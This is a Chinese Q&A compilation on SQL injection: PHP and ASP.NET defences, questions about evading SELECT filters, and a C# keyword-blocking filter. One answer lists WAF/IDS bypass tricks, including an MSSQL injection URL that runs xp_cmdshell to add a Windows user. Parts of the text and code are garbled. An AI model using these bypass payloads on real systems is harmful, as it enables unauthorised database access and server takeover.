① php中防止sql注入,該如何解決
防sql注入的一個簡單方法就是使用框架,一般成熟框架中會集成各種安全措施。
當然也可以自己處理,如果用戶的輸入能直接插入到SQL語句中,那麼這個應用就易收到SQL注入的攻擊。我認為最重要的一點,就是要對數據類型進行檢查和轉義。
php.ini
------------
display_errors 選項,應該設為display_errors = off。這樣 php 腳本出錯之後,不會在 web 頁面輸出錯誤,以免讓攻擊者分析出有作的信息。
打開magic_quotes_gpc來防止SQL注入,magic_quotes_gpc= Off,這個默認是關閉的,如果它打開後將自動把用戶提交對sql的查詢進行轉換,比如把 ' 轉為 '等,對於防止sql注射有重大作用。如果magic_quotes_gpc=Off,則使用addslashes()函數。
mysql 函數
---------------
調用mysql_query 等mysql 函數時,前面應該加上 @,即 @mysql_query(...),這樣 mysql 錯誤不會被輸出。同理以免讓攻擊者分析出有用的信息。另外,有些程序員在做開發時,當mysql_query出錯時,習慣輸出錯誤以及sql 語句。
mysql_real_escape_string -- 轉義 SQL 語句中使用的字元串中的特殊字元,並考慮到連接的當前字元集。
Sql語句
------------
對提交的 sql 語句,進行轉義和類型檢查。如果請求是數值型,那麼調用is_numeric() 判斷是否為數值。如果不是,則返回程序指定的默認值。簡單起見,對於文本串,我將用戶輸入的所有危險字元(包括HTML代碼),全部轉義。由於php 函數addslashes()存在漏洞,我用str_replace()直接替換。get_magic_quotes_gpc()函數是php 的函數,用來判斷magic_quotes_gpc 選項是否打開。
其它
---------
使用預處理語句和參數化查詢(PDO或mysqli)。預處理語句和參數分別發送到資料庫伺服器進行解析,參數將會被當作普通字元處理。這種方式使得攻擊者無法注入惡意的SQL。
② 求助,關於SQL注入如何繞過SELECT語句的過濾
1,:轉換個別字母大小寫,無效
2:輸入SESELECTLECT之類的語句來代替SELECT,無效
3:用轉義的URL編碼來代替SELECT(不知道這么表述對不對,就是%後面跟上16進制的ascii碼……),無效
4:用/**/來隔開SELECT中的各個字母,無效
③ 淺析sql注入漏洞與防範措施誰寫的
這是一個比較激掘常見的題目,我可以給您提供一個淺析 SQL 注入漏洞和防範措施的參考:
一明伏核、 SQL 注入漏洞是什麼?
SQL 注入漏洞是指攻擊者通過輸入惡意的 SQL 代碼來實現對資料庫的非法訪問和操作的一種漏洞攻擊方式。攻擊者通過在表單等輸入框中注入 SQL 語句,即可繞過應用程序的認證和授權機制,獲取、更改、刪除等非法操作資料庫中的敏感數據。
二、 SQL 注入漏洞的影響及危害
1. 竊取數據:攻擊者可以通過 SQL 注入漏洞竊取系統中的敏感數據,如用戶名、密碼、支付信息等等。
2. 破壞數據:攻擊者通過 SQL 注入漏洞可以刪除、更改、破壞資料庫中的數據,致使系統服務不可用。
3. 破壞系統:攻擊者可通過 SQL 注入漏洞執行攻擊代碼,破壞系統和伺服器穩定性和安全性。
三、 SQL 注入漏洞防範措施
針對 SQL 注入漏洞的攻擊可能性,可以採取以下幾種防範措施:
1. 使用參數化的 SQL 查詢。使用預編譯語句能有效避免 SQL 注入攻擊。
2. 過濾用戶輸入數據。對於用戶輸入的數據進行校驗和過濾,例如過濾掉單引號、引號等特殊字元。
3. 使用安全的編程語言。使用一些安全的編程語言,例如 Java、Python、PHP 等語言,它們都提供了一些高級防範 SQL 注入 的 API。
4. 定期檢查和更新應用程序。更新應用程序可以修復已知的漏洞並增強系統的安全性,在檢查應用程序的漏洞時可以檢測 SQL 注入漏洞的存在。
5. 對數據和系統進行加密。加密資料庫中的數據和系統文件可以增強對敏感數據和保護系統的安全性。
總結:SQL 注入漏洞是一種比較危險的漏洞攻擊方式,為了保障系統安全,我們需要認真選擇開發語言、定期更新系統和應用程序,對用戶輸入的數據進行過濾和處理,以及加強數據和系統的安全。廳坦同時,也要提高開發人員的安全意識,從源頭上預防 SQL 注入漏洞的出現。
④ 求助,關於SQL注入如何繞過SELECT語句的過濾
1,:轉換個別字母大小寫,無效
2:輸入SESELECTLECT之類的語句來代替SELECT,無效
3:用轉義的URL編碼來代替SELECT(不知道這么表述對不對,就是%後面跟上16進制的ascii碼……),無效
4:用/**/來隔開SELECT中的各個字母,無效
⑤ 通過代碼限制輸入select,能防止sql注入了有繞過方法嗎
直接把符號的編碼轉換或者轉義可以了。一般sql注入根本用不到select,譬如賬號密碼你默認就是在where條件上進行查詢,如果人家or 1=1則默認真。另外也能通過UNION 返回的錯誤判斷返回值的數量和類型。如果沒限制 換行+GO 的話甚至能執行自己想要的SQL。但是這些最終都需要一個符號例如單引號"'"吧系統誤以為輸入框的內容已階段。如果轉義或者轉編碼後,最多就變成一段長字元而已
⑥ sql注入 form過濾怎麼繞過
我常用的三種方法:
1,參數過濾,過濾掉 單引號,or,1=1 等類似這樣的 。
2,使用 參數化方法格式化 ,不使用拼接SQL 語句。
3,主要業務使用存儲過程,並在代碼里使用參數化來調用(存儲過程和方法2結合)
⑦ 用什麼方法繞過SQL注入的限制
1、運用編碼技術繞過
如URLEncode編碼,ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通過空格繞過
如兩個空格代替一個空格,用Tab代替空格等,或者刪除所有空格,如or』 swords』 =『swords』 ,由於mssql的鬆散性,我們可以把or 『swords』 之間的空格去掉,並不影響運行。
3、運用字元串判斷代替
用經典的or 1=1判斷繞過,如or 『swords』 =』swords』,這個方法就是網上在討論的。
4、通過類型轉換修飾符N繞過
可以說這是一個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or 『swords』 = N』 swords』 ,大寫的N告訴mssql server 字元串作為nvarchar類型,它起到類型轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配IDS。
5、通過+號拆解字元串繞過
效果值得考證,但畢竟是一種方法。如 or 『swords』 =『sw』 +』 ords』 ;EXEC(『IN』 +』 SERT INTO 『+』 …..』 )
6、通過LIKE繞過
以前怎麼就沒想到呢?如or 『swords』 LIKE 『sw』!!!顯然可以很輕松的繞過「=」「>」的限制……
7、通過IN繞過
與上面的LIKE的思路差不多,如or 『swords』 IN (『swords』)
8、通過BETWEEN繞過
如or 『swords』 BETWEEN 『rw』 AND 『tw』
9、通過>或者<繞過
or 『swords』 > 『sw』
or 『swords』 < 『tw』
or 1<3
……
10、運用注釋語句繞過
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感詞,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
11、用HEX繞過,一般的IDS都無法檢測出來
=hex(sysadmin)
=hex(db_owner)
另外,關於通用點的過濾方法,我們可以考慮採用賦值的方法,例如先聲明一個變數a,然後把我們的指令賦值給a,然後調用變數a最終執行我們輸入的命令。變數a可以是任何命令。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果 how.asp?id=1;declare%20@a% 20sysname%20select%20@a=7300730020002f
00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
其中的 7300730020002f00610064006400 就是「net user angel pass /add」的意思。
⑧ 針對sql注入攻擊,有哪些防範措施
SQL注入攻擊的危害很大,而且防火牆很難對攻擊行為進行攔截,主要的SQL注入攻擊防範方法,具體有以下幾個方面。
1、分級管理
對用戶進行分級管理,嚴格控制用戶的許可權,對於普通用戶,禁止給予資料庫建立、刪除、修改等相關許可權,只有系統管理員才具有增、刪、改、查的許可權。
2、參數傳值
程序員在書寫SQL語言時,禁止將變數直接寫入到SQL語句,必須通過設置相應的參數來傳遞相關的變數。從而抑制SQL注入。數據輸入不能直接嵌入到查詢語句中。同時要過濾輸入的內容,過濾掉不安全的輸入數據。或者採用參數傳值的方式傳遞輸入變數,這樣可以最大程度防範SQL注入攻擊。
3、基礎過濾與二次過濾
SQL注入攻擊前,入侵者通過修改參數提交and等特殊字元,判斷是否存在漏洞,然後通過select、update等各種字元編寫SQL注入語句。因此防範SQL注入要對用戶輸入進行檢查,確保數據輸入的安全性,在具體檢查輸入或提交的變數時,對於單引號、雙引號、冒號等字元進行轉換或者過濾,從而有效防止SQL注入。
當然危險字元有很多,在獲取用戶輸入提交參數時,首先要進行基礎過濾,然後根據程序的功能及用戶輸入的可能性進行二次過濾,以確保系統的安全性。
4、使用安全參數
SQL資料庫為了有效抑制SQL注入攻擊的影響。在進行SQLServer資料庫設計時設置了專門的SQL安全參數。在程序編寫時應盡量使用安全參數來杜絕注入式攻擊,從而確保系統的安全性。
5、漏洞掃描
為了更有效地防範SQL注入攻擊,作為系統管理除了設置有效的防範措施,更應該及時發現系統存在SQL攻擊安全漏洞。系統管理員可以采購一些SQL漏洞掃描工具,通過專業的掃描工具,可以及時的掃描到系統存在的相應漏洞。
6、多層驗證
現在的網站系統功能越來越龐大復雜。為確保系統的安全,訪問者的數據輸入必須經過嚴格的驗證才能進入系統,驗證沒通過的輸入直接被拒絕訪問資料庫,並且向上層系統發出錯誤提示信息。同時在客戶端訪問程序中驗證訪問者的相關輸入信息,從而更有效的防止簡單的SQL注入。但是如果多層驗證中的下層如果驗證數據通過,那麼繞過客戶端的攻擊者就能夠隨意訪問系統。因此在進行多層驗證時,要每個層次相互配合,只有在客戶端和系統端都進行有效的驗證防護,才能更好地防範SQL注入攻擊。
7、資料庫信息加密
傳統的加解密方法大致分為三種:對稱加密、非對稱加密、不可逆加密。
⑨ ASP.NET 實現SQL注入過濾
一 什麼是SQL注入式攻擊 所謂SQL注入式攻擊 就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字元串 欺騙伺服器執行惡意的SQL命令 在某些表單中 用戶輸入的內容直接用來構造(或者影響)動態SQL命令 或作為存儲過程的輸入參數 這類表單特別容易受到SQL注入式攻擊 常見的SQL注入式攻擊過程類如 ⑴ 某個ASP NET Web應用有一個登錄頁面 這個登錄頁面控制著用戶是否有權訪問應用 它要求用戶輸入一個名稱和密碼 ⑵ 登錄頁面中輸入的內容好塵將直接用來構造動態的SQL命令 或者直接用作存儲過程的參數 下面是ASP NET應用構造查詢的一個例子 System Text StringBuilder query = new System Text StringBuilder( SELECT * from Users WHERE login = ) Append(txtLogin Text) Append( AND password= ) Append(txtPassword Text) Append( ) ⑶ 攻擊者在用戶名字和密碼輸入框中輸入 或 = 之類的內容 ⑷ 用戶輸入的內容提交給伺服器之後 伺服器運行上猛襪清面的ASP NET代碼構造出查詢用戶的SQL命令 但由於攻擊者輸入的內容非常特殊 所以最後得到的SQL命令變成 SELECT * from Users WHERE login = or = AND password = or = ⑸ 伺服器執行查詢或存儲過程 將用戶輸入的身份信息和伺服器中保存的身份信息進行對比 ⑹ 由於SQL命令實際上已被注入式攻擊修改 已經不能真正驗證用戶身份 所以系統會錯誤地授權給攻擊者 如果攻擊者知道應用會將表單中輸入的內容直接用於驗證身份的查詢 他就會嘗試輸入某些特殊的SQL字元串篡改查詢改變其原來的功能 欺騙系統授予訪問許可權 枝前 系統環境不同 攻擊者可能造成的損害也不同 這主要由應用訪問資料庫的安全許可權決定 如果用戶的帳戶具有管理員或其他比較高級的許可權 攻擊者就可能對資料庫的表執行各種他想要做的操作 包括添加 刪除或更新數據 甚至可能直接刪除表 二 如何防範 好在要防止ASP NET應用被SQL注入式攻擊闖入並不是一件特別困難的事情 只要在利用表單輸入的內容構造SQL命令之前 把所有輸入內容過濾一番就可以了 過濾輸入內容可以按多種方式進行⑴ 對於動態構造SQL查詢的場合 可以使用下面的技術 第一 替換單引號 即把所有單獨出現的單引號改成兩個單引號 防止攻擊者修改SQL命令的含義 再來看前面的例子 SELECT * from Users WHERE login = or = AND password = or = 顯然會得到與 SELECT * from Users WHERE login = or = AND password = or = 不同的結果 第二 刪除用戶輸入內容中的所有連字元 防止攻擊者構造出類如 SELECT * from Users WHERE login = mas AND password = 之類的查詢 因為這類查詢的後半部分已經被注釋掉 不再有效 攻擊者只要知道一個合法的用戶登錄名稱 根本不需要知道用戶的密碼就可以順利獲得訪問許可權 第三 對於用來執行查詢的資料庫帳戶 限制其許可權 用不同的用戶帳戶執行查詢 插入 更新 刪除操作 由於隔離了不同帳戶可執行的操作 因而也就防止了原本用於執行SELECT命令的地方卻被用於執行INSERT UPDATE或DELETE命令 ⑵ 用存儲過程來執行所有的查詢 SQL參數的傳遞方式將防止攻擊者利用單引號和連字元實施攻擊 此外 它還使得資料庫許可權可以限制到只允許特定的存儲過程執行 所有的用戶輸入必須遵從被調用的存儲過程的安全上下文 這樣就很難再發生注入式攻擊了 ⑶ 限製表單或查詢字元串輸入的長度 如果用戶的登錄名字最多隻有 個字元 那麼不要認可表單中輸入的 個以上的字元 這將大大增加攻擊者在SQL命令中插入有害代碼的難度 ⑷ 檢查用戶輸入的合法性 確信輸入的內容只包含合法的數據 數據檢查應當在客戶端和伺服器端都執行 之所以要執行伺服器端驗證 是為了彌補客戶端驗證機制脆弱的安全性 在客戶端 攻擊者完全有可能獲得網頁的源代碼 修改驗證合法性的腳本(或者直接刪除腳本) 然後將非法內容通過修改後的表單提交給伺服器 因此 要保證驗證操作確實已經執行 唯一的辦法就是在伺服器端也執行驗證 你可以使用許多內建的驗證對象 例如RegularExpressionValidator 它們能夠自動生成驗證用的客戶端腳本 當然你也可以插入伺服器端的方法調用 如果找不到現成的驗證對象 你可以通過CustomValidator自己創建一個 ⑸ 將用戶登錄名稱 密碼等數據加密保存 加密用戶輸入的數據 然後再將它與資料庫中保存的數據比較 這相當於對用戶輸入的數據進行了 消毒 處理 用戶輸入的數據不再對資料庫有任何特殊的意義 從而也就防止了攻擊者注入SQL命令 System Web Security FormsAuthentication類有一個 非常適合於對輸入數據進行消毒處理 ⑹ 檢查提取數據的查詢所返回的記錄數量 如果程序只要求返回一個記錄 但實際返回的記錄卻超過一行 那就當作出錯處理
以上資料參考與 賽迪網資料 但是我覺得在我們的ASP NET程序里防止SQL 注入 首先應該盡量使用存儲過程 關於使用存儲過程的好處在這里就不展開討論了 使用參數傳遞變數 最不妥當的方法就是認為判斷SQL注入信息 盡管如此 可能日常開發中由於種種原因不能做的面面具道 存在各種各種的實際問題 現在是最近在一個項目中沒有考慮SQL注入項目補救寫的一個組件庫 資料也參考來源與網路 實現很簡單 下面是具體實現的源程序 using System; using System Text RegularExpressions; using System Web; namespace FSqlKeyWord …{ /**//// <summary> /// SqlKey 的摘要說明 /// </summary> public class SqlKey …{ private HttpRequest request; private const string StrKeyWord = @ select|insert|delete|from|count(|drop table|update|truncate|asc(|mid(|char(|xp_cmdshell|exec master|netlocalgroup administrators|:|net user| |or|and ; private const string StrRegex = @ [ |;| |/|(|)|[|]|}|{|%|@|*|!| ] ; public SqlKey(System Web HttpRequest _request) …{ // // TODO: 在此處添加構造函數邏輯 // this request = _request; } /**//// <summary> /// 只讀屬性 SQL關鍵字 /// </summary> public static string KeyWord …{ get …{ return StrKeyWord; } } /**//// <summary> /// 只讀屬性過濾特殊字元 /// </summary> public static string RegexString …{ get …{ return StrRegex; } } /**//// <summary> /// 檢查URL參數中是否帶有SQL注入可能關鍵字 /// </summary> /// <param name= _request >當前HttpRequest對象</param> /// <returns>存在SQL注入關鍵字true存在 false不存在</returns> public bool CheckRequestQuery() …{ if (request QueryString Count != ) …{ //若URL中參數存在 逐個比較參數 for (int i = ; i < request QueryString Count; i++) …{ // 檢查參數值是否合法 if (CheckKeyWord(request QueryString[i] ToString())) …{ return true; } } } return false; } /**//// <summary> /// 檢查提交表單中是否存在SQL注入可能關鍵字 /// </summary> /// <param name= _request >當前HttpRequest對象</param> /// <returns>存在SQL注入關鍵字true存在 false不存在</returns> public bool CheckRequestForm() …{ if (request Form Count > ) …{ //獲取提交的表單項不為 逐個比較參數 for (int i = ; i < request Form Count; i++) …{ //檢查參數值是否合法 if (CheckKeyWord(request Form[i])) …{ //存在SQL關鍵字 return true; } } } return false; } /**//// <summary> /// 靜態方法 檢查_sword是否包涵SQL關鍵字 /// </summary> /// <param name= _sWord >被檢查的字元串</param> /// <returns>存在SQL關鍵字返回true 不存在返回false</returns> public static bool CheckKeyWord(string _sWord) …{ if (Regex IsMatch(_sWord StrKeyWord RegexOptions IgnoreCase) || Regex IsMatch(_sWord StrRegex)) return true; return false; } /**//// <summary> /// 反SQL注入 返回 無注入信息 否則返回錯誤處理 /// </summary> /// <returns>返回 無注入信息 否則返回錯誤處理</returns> public string CheckMessage() …{ string msg = ; if (CheckRequestQuery()) //CheckRequestQuery() || CheckRequestForm() …{ msg = <span style= font size: px; >非法操作!<br> ; msg += 操作IP: + request ServerVariables[ REMOTE_ADDR ] + <br> ; msg += 操作時間 + DateTime Now + <br> ; msg += 頁面 + request ServerVariables[ URL ] ToLower() + <br> ; msg += <a # onclick= history back() >返回上一頁</a></span> ; } return msg ToString() } } } lishixin/Article/program/net/201311/11680